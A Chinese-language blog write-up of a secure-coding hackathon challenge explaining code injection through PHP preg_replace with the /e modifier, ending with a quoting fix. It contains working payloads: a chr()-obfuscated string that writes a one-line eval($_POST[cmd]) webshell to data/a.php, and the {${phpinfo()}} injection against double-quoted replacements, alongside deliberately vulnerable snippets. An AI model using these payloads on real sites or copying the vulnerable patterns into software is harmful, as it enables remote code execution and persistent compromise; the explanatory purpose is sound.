今天参加公司的安全编程马拉松,其中分配给我一道题,题目如下:
1 2 3 4 5 6 7 8 |
<?php function myfunc($str) { } // echo 'e=' . eval("phpinfo();");//preg_replace('/code(.*)/e', 'myfunc("\1")', $_GET["key"]); echo preg_replace('/code(.*)/e', 'myfunc("\1")', $_GET["key"]); |
这道题一看就知道这里的key,可以作为一个注入点,同时preg_replace参数中的/e,有些奇怪,查看手册:
要搜索的模式. 可以使一个字符串或字符串数组.
可以使用一些PCRE修饰符, 包括’e'(PREG_REPLACE_EVAL), 可以为这个函数指定.
可以看出,这里的/e,表示eval()这个意思;
preg_replace函数原型:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:
1 2 3 4 5 |
<?php preg_replace ("/(</?)(w+)([^>]*>)/e", "\1.strtoupper(\2).\3", $html_body); ?> |
这将使输入字符串中的所有 HTML 标记变成大写。
安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:
1 2 3 |
<? echo preg_replace("/test/e",$_GET["h"],"jutst test"); ?> |
如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),< ?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。
再来一个有难度的例子:
1 2 3 4 5 6 7 8 |
< ? function test($str) { } echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); ?> |
提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为’test(“phpinfo”)’,此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?
当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。
在这里我们需要通过{${}}构造出了一个特殊的变量,’test(“{${phpinfo()}}”)’,达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:
echo “{${phpinfo()}}”; phpinfo会被成功执行了。
详解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
<?php ${test()} = 'ccc'; echo $bbb; function test () { return 'bbb'; } ?> 运行后的输出值为 'ccc'; /* 个人观点: PHP 中变量的格式为: $ + 变量名. 变量名: 变量名是由字母,数字,下划线. 那么,变量名除了直接写出来的 "字母,数字,下划线", 也可以用 变量代替,或者是某函数的返回值. 只要返回值符合 "字母,数字,下划线" 就可以了. 然后, {} 是"块"的意思. 是为了防止PHP 把函数名当作变量名而加上的 "定界符". */ ${test()} => $ + {test()} => $ + bbb => $bbb http://localhost/error.php?key=code{${phpinfo()}} === echo "{${phpinfo()}}"; |
如何防范这种漏洞呢?
将’test(“\1”)’ 修改为”test(‘\1’)”,这样‘${phpinfo()}’就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。
参考文章:
《php手册 – preg_replace》 http://www.yesky.com/imagesnew/software/php/zh/function.preg-replace.html
《Uchome < =2.0 后台GetWebShell 漏洞》 http://www.5luyu.cn/article/jishu/708.htm
《preg_replace漏洞利用详解》 http://www.dbgger.com/?id=334 (这网站界面巨像安全焦点)
http://www.redicecn.com/html/PHP/20100607/149.html
暂无评论